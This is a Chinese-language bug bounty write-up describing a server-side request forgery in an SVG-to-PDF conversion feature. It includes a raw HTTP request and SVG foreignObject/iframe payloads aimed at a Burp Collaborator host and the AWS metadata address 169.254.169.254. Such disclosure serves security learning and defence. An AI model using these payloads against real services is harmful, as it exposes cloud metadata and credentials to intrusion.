白帽故事 · 2021年5月28日 0

SVG对PDF转换时的SSRF攻击

作者在BugCrowd的一个私有项目中进行挖洞活动,在该项目中,有一个功能复杂的应用程序,其中一处亮点是将对象从SVG转换为PDF、JPG、PNG文件。

当作者找到从用户输入的数据创建PDF的功能时,立即进行了一些测试,通过更改发送到包含IFRAME标签的HTML的SVG代码到Burp Collaborator来尝试执行SSRF攻击:

POST /convert HTTP/2
Host: target.com
Cookie: -
Content-Length: -
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqBdAsEtYaBjTArl3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6,ms;q=0.5
Connection: close

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="svg"

<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

但遗憾的是,服务器返回了一条错误信息。

{"message": "Error when converting data."}

看起来服务器只能处理有效的SVG文件输入,在进行了一些Google搜索之后,作者发现可以使用名为foreignObject的元素将HTML代码嵌入到SVG代码中。

看起来服务器只能处理有效SVG文件的输入。

在进行了一些Google搜索之后,作者发现可以使用名为foreignObject的元素将HTML代码嵌入到SVG代码中。

The SVG element includes elements from a different XML namespace. In the context of a browser, it is most likely (X)HTML.

https://developer.mozilla.org/en-US/docs/Web/SVG/Element/foreignObject

于是作者修改了payload,如下:

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>

在点击发送到Burp Collaborator之后,通过IP地址作者发现该应用程序使用的是AWS(Amazon Web Service),并且从User Agent中作者注意到SVG使用了PhantomJS进行呈现。

因此,作者修改了payload以获取AWS上的元数据:

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>

成功获取到了元数据:

作者立即报告了这一漏洞发现,漏洞被标记为P1等级,作者最终获得了2150美元的漏洞奖励。